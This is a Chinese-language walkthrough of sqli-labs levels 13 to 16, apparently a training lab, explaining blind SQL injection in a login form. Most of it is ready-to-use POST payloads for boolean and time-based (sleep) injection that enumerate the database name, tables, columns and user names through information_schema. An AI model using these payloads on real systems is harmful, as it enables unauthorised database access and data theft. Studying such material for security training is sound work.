Less-13
这一关和之前有所不同,这一关登陆成功后没有数据回显,只显示登陆成功还是失败,所以这一关是盲注
使用Less12中用到的方法得到语句 uname=admin&passwd=admin&submit=Submit
构造注入语句 uname=adm')or 1=1#&passwd=admin&submit=Submit
判断数据库名字的长度 uname=adm')or if (length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit 根据返回时间没有延迟判断长度为8
判断数据库名字的第一个字母是否大于a uname=adm')or left(database(),1)>'a'#&passwd=admin&submit=Submit
或者uname=adm')or left(database(),1)='s'#&passwd=admin&submit=Submit
查表 uname=adm')or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e'#&passwd=admin&submit=Submit
其他的和之前所用的布尔盲注,时间盲注的方法一样,同时也可以使用burp suite进行辅助测试
uname=adm')or left((select schema_name from information_schema.schemata limit 0,1),1)='a'#&passwd=admin&submit=Submit
打开burpsuite,发送到暴力破解
然后点击暴力破解,可以发现,“i”的长度和其他长度不一样,看到下方有images/flag.jpg字样,即说明成功
继续猜解第二个字母,如下图,后面的步骤和上面所讲的一样,以此类推,逐步推出
如果A-Z没有,那么数据库名字还有可能含有0-9或者_等一些特殊字符,将其范围添加上即可
Less-14
首先登陆一下发现和第13关一样没有数据回显,但第13关是 (' ')包裹,而这一关是(“ ”)包裹
其他的判断与第13关相同
判断数据库名字的长度 uname=adm" or length(database())='8'#&passwd=admin&submit=Submit
查库 uname=adm" or left((select schema_name from information_schema.schemata limit 0,1),1)='i'#&passwd=admin&submit=Submit
查表 uname=adm" or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='i'#&passwd=admin&submit=Submit
查列 uname=adm" or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='a'#&passwd=admin&submit=Submit
查字段 uname=adm" or left((select username from security.users limit 0,1),1)>'a'#&passwd=admin&submit=Submit (通过这句话来判断users表中username下第一个字段的第一位,这里不能使用select username,password一起查询,只能一个一个查)
Less-15
第15关使用单引号' '包裹,其他的与第14关第13关均相同
Less-16
第16关使用(" ")包裹,其他的与上面几关均相同,参考上面的方式即可